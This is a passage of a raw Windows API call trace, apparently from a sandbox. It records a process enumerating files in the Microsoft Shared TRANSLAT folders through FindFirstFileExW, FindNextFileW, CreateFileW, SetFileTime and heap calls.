(HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f7a8 [0243.000] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0243.000] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0243.000] GetLastError () returned 0x12 [0243.000] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0243.000] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0243.000] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.000] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0243.000] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0243.000] GetLastError () returned 0x12 [0243.001] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.001] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0243.001] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91f598) returned 1 [0243.001] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0243.001] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0243.001] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0243.001] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0243.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0243.001] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0243.001] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x920c00 [0243.001] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x920c00, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x920c00, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0243.001] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x920c00) returned 1 [0243.001] NtClose (Handle=0x1b8) returned 0x0 [0243.002] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0243.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0243.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0243.002] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0243.002] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.002] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0243.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.002] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.002] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f598 [0243.002] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918810 [0243.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f8b0 [0243.002] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.002] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0243.002] GetLastError () returned 0x12 [0243.002] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0243.002] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0243.003] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.003] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0243.003] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0243.003] GetLastError () returned 0x12 [0243.003] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0243.003] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0243.003] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91f598) returned 1 [0243.003] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0243.003] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0243.003] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0243.003] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0243.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0243.003] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0243.003] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x920c00 [0243.003] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x920c00, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x920c00, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0243.004] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x920c00) returned 1 [0243.004] NtClose (Handle=0x1b0) returned 0x0 [0243.004] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0243.004] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0243.004] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0243.004] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.004] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0243.004] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.004] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0243.004] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.004] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.004] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.004] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.004] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.004] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.004] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0243.004] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.004] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.004] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.004] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.004] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.004] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91f598 [0243.005] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0243.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918830 [0243.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91cd50 [0243.005] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.005] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0243.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.005] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.005] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918850 [0243.005] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91ce58 [0243.005] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.005] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0243.005] GetLastError () returned 0x12 [0243.005] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0243.005] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0243.005] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.005] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0243.005] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0243.005] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0243.005] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0243.005] GetLastError () returned 0x12 [0243.006] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.006] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0243.006] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91f598) returned 1 [0243.006] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0243.006] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0243.006] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0243.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0243.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0243.081] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0243.081] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x920c00 [0243.081] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x920c00, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x920c00, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0243.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x920c00) returned 1 [0243.082] NtClose (Handle=0x1b8) returned 0x0 [0243.082] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0243.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0243.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.082] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.082] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0243.082] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, 